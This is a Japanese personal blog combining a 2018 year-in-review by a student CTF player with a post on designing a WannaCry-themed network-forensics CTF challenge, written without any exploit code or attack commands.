f:id:ywkw1717:20181231215414p:plain wabisabiというCTFチームを組んでぼちぼち活動しているけど,チームロゴの必要性を感じる機会が何度かあって,モチベーション的にもあったほうがいいだろうということでようやく完成した.侘と寂の字は知り合いに書いてもらい,それをスキャンしてあとは適当に作った.

村人Bが解けた

f:id:ywkw1717:20181231215427p:plain この頃はPwn欲が強くて,上記のCTF選考でハマってから放置していた村人Bも解いてしまおうと思って解いた.環境の問題かなんかでアドレスが違っていたり,しょうもないところで消耗した気がする.ローカルでシェルを取れてからリモートで試そうとしたけどサーバが死んでいるっぽかったのでkusanoさんに連絡をして再起動してもらい,その後リモートでもシェルを取ることができた.

4月

大学院に入学した

入学した.

情報処理技術者試験(情報処理安全確保支援士)

f:id:ywkw1717:20181231215443j:plain おちた.午後1があと1点足らず...

初めてキュービストに会った

f:id:ywkw1717:20181231215457j:plain スピードキューブを趣味でやっているんだけど,周りに同じようなことをやっている友達はいなくて,Twitterでなんとなく「大学でルービックキューブ速い人いないかなぁ」的なことを呟いたら,とあるキュービスト(社会人の方)からDMを貰って実際に会うことになった.大学の食堂で会って,十数秒で解いているところを見せてもらったり,特に印象的なのは目隠しで解くのを間近で見せてもらったことで,ありえんすごかった.

技術書典に行ってきた

f:id:ywkw1717:20181231215513j:plain 初めて参加した.秋葉原で開催されていろいろ買ってきた.当日は以前バイト先にいた先輩方と遭遇したりして.懐かしみがあった.

5月

GWの勉強

HTMLとかCSSとかデザイン的なことを真面目に勉強したことがなかったので,少しやってみた.他にもGo言語とかセキュリティとかいろいろ勉強してた.

6月

四大学合同LT 発表

f:id:ywkw1717:20181231213615j:plain

id:slme9364 が開催したLT.当日は三大学になったけど,自分はとあるサイトで偶々XSSを見つけてからIPAに報告したり,その脆弱性が修正されるまでの過程を発表した.内容はあまり公開したくなくて公開してない.

7月

なにをしていたのかわからない.

8月

研究計画発表

大学院での研究計画を発表するやつ.15分くらいを英語でやらないといけなくて,急いでスライドを準備して教授に添削して貰ったり,研究室の人の前で練習したりした.

SANS NetWarsトーナメント2018

f:id:ywkw1717:20181231215531j:plain 行きたいなぁと前から思っていたやつで,今年は2日間開催ではなく1日開催で,勉強会がなくてCTFだけの開催だった.結果は全体で11位でギリギリ10位以内に入れなくてメダルはもらえなかった.

SECCON2018 x CEDEC CHALLENGE

f:id:ywkw1717:20181231215550j:plain 8月の上旬はほぼこれに費やしていたってくらい頑張っていた.運営が作成したUnity製ゲームの脆弱性を探してチートをする競技で,今年はチートをするだけではなくて対策をして,最終的には他チームの対策が施されたゲームをチートするというものだった.主にwabisabiのメンバーを中心に4人でチームを組んで出た.

第2フェーズまではオンラインで開催される.第1フェーズの調査フェーズでは自分は主にバイナリ書き換え等をやりながらチートをしていて,第2フェーズの対策フェーズでは他3人をまとめながら自分でも対策をして,libyyy.soという共有ライブラリを作ったことが印象的.これは解析のしづらさという点やその他様々な理由からGoで書いていて,ゲーム内で使われる機密情報を管理するライブラリ.第3フェーズは第2フェーズまでで選ばれたチームが出場する予定だったけど,中々第2フェーズをやりきったチームが少なかったらしく,当日は4チームで競い合った.当日の朝に運営の方からアプリが動作しないという連絡を受けて急いでデバッグして,東京に向かう中でもデバッグしてそれでも直らず,結局早めに会場入りしてなんとか動くようにしたことを覚えている.優勝はHarekazeに持っていかれてしまって悔しいので,来年も開催されるならリベンジしたい.

株式会社ラック 5daysインターン

人事の方からお誘い頂いて参加してきた.5日間のインターンシップで,セキュリティに関する様々なことを5日間学んだ.個人的にカードゲームでインシデントレスポンスを体験するやつは結構気に入って楽しめた.だけど最終日のプログラミング体験的なやつは正直に言うと本当に退屈で,プログラミングをやったことがない人に向けたようなもので,自分と同じように退屈している人もいたと思うので,もう少し参加者のレベルを考えて調整してほしかった感がある.宿を提供してくれたのは本当に有難かった.ただ,宿から会社までの道が激つら坂道が続きまくっていて,運動不足にはしんどすぎて3日目ぐらいからタクシーを使って通勤していたのはここだけの話.

the peggies ライブ

f:id:ywkw1717:20181231215615j:plain 優勝した.人生で初のライブはBABYMETALで,2度目はモーニング娘17,そしてこれは3度目のライブになった.会場は下北沢SHELTERで結構狭かったけど,優勝しすぎてしぬかと思った.自分はあまり一つのアーティストにハマることはないんだけど,珍しくハマった.当日は幼馴染と高校の友人の3人で参加して,立ち見で聴いた.自分と高校の友人は周りより身長が高くて頭一つ抜けていたのでボーカルの人と目が合うような感覚が多くて恥ずかしみがあった.絶対また行きたい.

ソフトバンクテクノロジー インターン

人事の方とseccamp'17の時にお昼ご飯を一緒になったのがきっかけで気になっていた会社.マルウェア解析のインターンをやるということで参加した.こちらも5日間のインターンシップで,30人ぐらいはいた気がする.4人のチームを組んで取引先でのインシデントに対応して報告まで行うもので,非常に実践的でよかった.実際にバイト先で似たようなことをやったこともあって,ある程度はチームの役に立てたと思うけど,最終日は祖母のお通夜と重なって途中で帰ってしまったので,最後の懇親会に出られなかったのが残念.

9月

仙台CTF 勉強会

connpass.com

去年も参加していたもので,今年は運営側で参加させてもらった.勉強会は主にフォレンジック的な内容で,タイムライン解析などについて学んだ.

OSS PR

f:id:ywkw1717:20181231215645p:plain shellenというOSSにPRを出した.

github.com

これはシェルコードコーディングをインタラクティブに行えるもので,アセンブルとかディスアセンブルもできる便利ツール.ある日使おうとしたら動かなくて,原因を調べたら自分でも直せそうだったのでPRを出した.対応が早くて助かった.実はこれは初めて出したPRではなくて,実際にはgoncursesというものに5月頃出したことがあったんだけど,何回かやり取りしてからは音信不通になっていて,初めてマージされたのがこちらのPRだったのでこれを初のOSS PRとしたい.

Student Go 発表

www.slideshare.net

@Yamashou0314が開催したイベント.発表のビギナー枠が一つ空いていたので,CEDEC CHALLENGEで作ったlibyyy.soの話をしてきた.ビギナー枠の3人が全員同じ大学で笑った.

10月

DFIR 忍者チャレンジ

大和セキュリティさんが開催したフォレンジックコンテスト.詳しくはこちら.

ywkw1717.hatenablog.com

情報処理技術者試験(情報処理安全確保支援士)再

f:id:ywkw1717:20181231215702j:plain 受かった.今回は初めて一人で受けてきた.こういう試験は毎回1,2ヵ月前からやろうと思っていても数週間前から始めてしまうことがあるあるで,今回もそうだったけど4月にやったぶんの貯金があるはずなのでいけるだろうと思っていた.午後1は半分はCTFのPwnを少しやっていれば解ける問題で,手応えがあった通り9割取れていてよかった.

SECCON 2018 Online CTF

得点があと少し足らなくて国内決勝には出られなかった.来年は学生最後なのでなんとか決勝に出たさがあるけど,メンバー不足が厳しい...

ywkw1717.hatenablog.com

11月

仙台CTF 競技会

connpass.com

9月の勉強会の競技会バージョン.こちらも運営側で参加.(実はCTFにも運営としてこっそり参加してたけど,運営ということで最終的なランキングに載ることはできなかった..)

12月

カメラ買った

f:id:ywkw1717:20181231215717j:plain 良さみが深すぎるから全人類カメラを買うべき.最初からFujifilmにしようかなとぼんやり思ってたけど,バイト先の社員さんとか元社員さんとかに相談して最終的にX-T2というものに決めた.ボディとレンズだけだと思ってたら他にも小物とかあって,最終的に18万ぐらいになってしまいお金が吹っ飛んだ.

3年半ぶりにTOEICを受けた

f:id:ywkw1717:20181231215729j:plain 大学1年の時に受けてから一度も受けてなかったけど,大学院1年生はタダで受けられるということもあって受検した.ちなみにこれは5月か7月だかに受け忘れた人が受けるもので,自分はTOEICがあった翌日に図書館で英語を勉強しているときに受け忘れていたことに気が付いた.さすがにアホっぽい. 得点は3年半前に受けたやつが425点で,今回は410点となぜか下がってて感情が無になった.次のTOEICは500~600点ぐらいは取っておきたさがある.

SECCON遊びに行った

f:id:ywkw1717:20181231215748j:plain 去年も行ったけど今年も遊びに行った.特にバグハンターのパネルディスカッションが目的で,バグバウンティと診断の違いとか,実際に生の声を聞くことができて非常に勉強になった.

3x3x3ルービックキューブを解くのが少し速くなった

f:id:ywkw1717:20181231215802j:plain これは先日出たPB(Personal Best)

CFOPのうち,F2Lは覚えたけどPLLとOLLはまだほとんど覚えていなかったので,PLLを頑張って全部覚えたらタイムが安定してきた.いつかは20秒切るの安定させたい...

まとめ

今年の目標としてはインプットを掲げていて,技術書とかもっと読んでおきたいと思っていたけど,2018年後半ぐらいに気付いて少しずつ軌道修正していたので,あまりインプットはできていなかったように見える.英語能力の向上も掲げていたけど,こちらも大きな変化がなく,バイト先で英語を使う機会が増えたけどなかなか自分の英語能力に関しては変化がない.

こうやって振り返る記事を書いてみると,意外とそこまで最悪な年でもなかったなと思った.やっぱりうまくいかないことが多いと全てが悪く見えてくるし,一度立ち止まって自分がやってきたことを振り返るのはリセットするという意味でも非常に良いので,この一年の振り返りエントリーは続けていきたい.

2019年は,

この辺を頑張りたい.

初めてCTFの問題を作ってみた所感

これはAizu Advent Calendar 2018の5日目の記事です.

adventar.org

前の人は id:masaponto さんで,

次は id:dennougorilla さんです.

はじめに

先月の11月10日(土)に仙台CTF2018というイベントが開催されました.

connpass.com

Day-1は勉強会という形で9月に開催されていて,Day-2となるこのイベントは競技会になっていて,オンサイトで実際にCTFをやるイベントでした.

去年は参加者として参加させて頂いたのですが,今回はひょんなことから運営の補助的な役割をさせて頂けることになりました.そのうちの一つとしてネットワークジャンルの問題を1問作ることになったのが,初めてCTFの問題を作ることになったきっかけです.

少しでも,初めて作問することになった人の参考になればいいなと思い,今回は初めてCTFの問題を作るにあたって気を付けたことや意識したこと,反省点などを述べていきます.

(一応,僕のスペック的なものを述べておくと,CTFが好きで何年か前から参加していますが入賞経験などはなく,たまにWriteupを投稿していたりするぐらいです... また,普段担当しているジャンルはネットワークではないです.)

出題した問題について

ネットワークジャンルには4問あり,他の3問については他の人が担当していて,その人の作成した問題を僕が解いてみて解けるかどうか確認したり,僕の問題のレビューをして頂いたりしていました.

僕が出題する問題は,ちょっとした知見があったりすることから昨年話題になったWannaCryに関係した問題を作ることになりました.

WannaCryに関係する問題ということで最初は2つ問題案を考えました.

  1. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから検体を抽出する
  2. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから感染が疑われる端末を探し出す

問題案1

まず1に関して,WannaCryにはワーム機能があり同一ネットワーク内やランダムなIPアドレスに対して感染を拡大させようとする動きをしますが,この際検体はパケットで一度に送れるサイズの限界上,回数をわけて送る必要があり,この際それぞれのデータ部分をXORで暗号化しているので,この鍵を求めて復号して検体を抽出する問題は面白いのではないかと考えました.

しかしここで,この問題は結果的に「マルウェアの配布」に当たってしまい非常にまずいのではないかと思いました. 昨今マルウェアに関して検挙される事例が増えてきていますし,パケットの検体部分を別の無害なプログラムに書き換えることも考えましたが,結局 問題案2のほうが妥当ではないかと考えました.

問題案2

こちらは,感染が疑われる端末を探し出すというものです.WannaCryに感染した端末が発するパケットは特徴的なので可能ではないかと思いました.この場合は検体を送りつける通信を含めなければ配布にはあたらないですし,感染を広げる段階で暗号化された攻撃コードの一部が含まれますが,これ単体では到底悪用できません.また,この脆弱性をMetasploitを用いて突いたパケットキャプチャファイルが配布されたイベントも過去に日本であったので,これなら法的にも大丈夫ではないかと思い,この問題案で作成することにしました.

作問する時に気をつけたこと

CTFの問題を作る上でのガイドライン的なものをPPPというCTFチームが出していたと思うので,できる限りそれを参考にしました.

github.com

日本チームscryptosが和訳したもの github.com

また,icchyさんが書かれたこちらの記事も参考になるかと思います.

icchy.hatenablog.jp

フラグの形式に関しては全体で指定されているものがなくて各々で考える感じだったのですが,最終的に他の問題のみなさんのフラグを参考にしながら,「感染が疑われる端末のIPアドレス」が妥当かなと思ったのでこれにしました.本当は,HogeCTF{XXXX}などの共通のフォーマットにしたほうが良かったかと思います.(これは一度運営の方に提案してみてもよかったのかなと思っています...) また,より混乱の少ないように問題文にフラグの例を載せるようにしました.

あとはPPPの資料の問題作成の部分になにかヒントがないか読んでみると,ネットワークのことが書いてあるForensicsはあとから追加されたものなのか,和訳がないので原文を参考にしました.

問題の作り方

これに関しては,もう少しいい作り方がなかったのかと反省すべき点が多いです.

不要なパケットは入れるべきではないので,問題に関係するパケットのみを含める必要がありました.なので,VirtualBoxで3台仮想マシンを立ち上げて,内部ネットワークで通信させ,プロミスキャスモードを「すべて許可」にすることで2点間のパケットがもう1台のマシンに対しても流れるようにし,これをパケット収集用のマシンとしました.

それからは,お互いのIPアドレスを変えながら通信させて,その度にパケットを収集した後,それらのパケットを結合することで複数のマシン間で通信しているようなpcapファイルを作りました.(実際にネットワーク問題を作成している人は,複数の端末が通信しているようなpcapファイルを作る場合,どのように作っているのでしょうか...)

また,パケット上の時間に関しては問題文と整合性が合うようにeditcapのiオプションで変更しました.

そんなこんなで作成したpcapファイルは,感染した端末によるARPスキャンが入っていたり,ターゲットにMS17-010の脆弱性がないか確認するパケット,バックドアであるDoublePulsarがないか確認するパケットなどなど,WannaCryに感染した端末が発するパケットが含まれていました.検体がpcapファイル内に含まれていないことも確認した後,このファイルを運営に提出しました.

反省点

・出現するIPアドレスが少なすぎた

これは本当に反省すべき点だなと思っていて,出現するIPアドレスは8つしかなく,問題を見ずとも出現している8つのIPアドレスを全てsubmitすれば解けてしまう問題でした.ですが,僕は一番低い得点である100点のものを作る予定だったので,これは逆に問題を簡単にする一つの要素になったのかなとも思っています.(ですが明らかに欠陥だと思うので,もう少し増やすべきでした...)

・フラグの形式

これは上述の通り,運営の方に一度提案してみてもよかったと思っています.当日,大きな混乱はなかったものの,共通のフラグフォーマットを用いたほうがわかりやすいはずなので.

最後に

当日はほとんどの参加者がこの問題を解いてくれていて,よかったのかなと思うと同時にもう少し悩むような要素を入れるべきだったのかなとも考えていて,出現するIPアドレスは少ない&見るべきパケットの量も少ないので,勘で解かれた人も多いのではないかと思いました.

しかし,僕が参加者に理解してほしかったこととして,昨年あれほど話題になったWannaCryがどのようなパケットを発し,どのように感染を広げていくのか,その過程を少しでもわかってくれたらいいなと思っていて,その為100点問題なのにWriteupが少し長くなってしまったのですが,是非当日解いた方も一度読んでみて理解を深めてくれたら嬉しい限りです.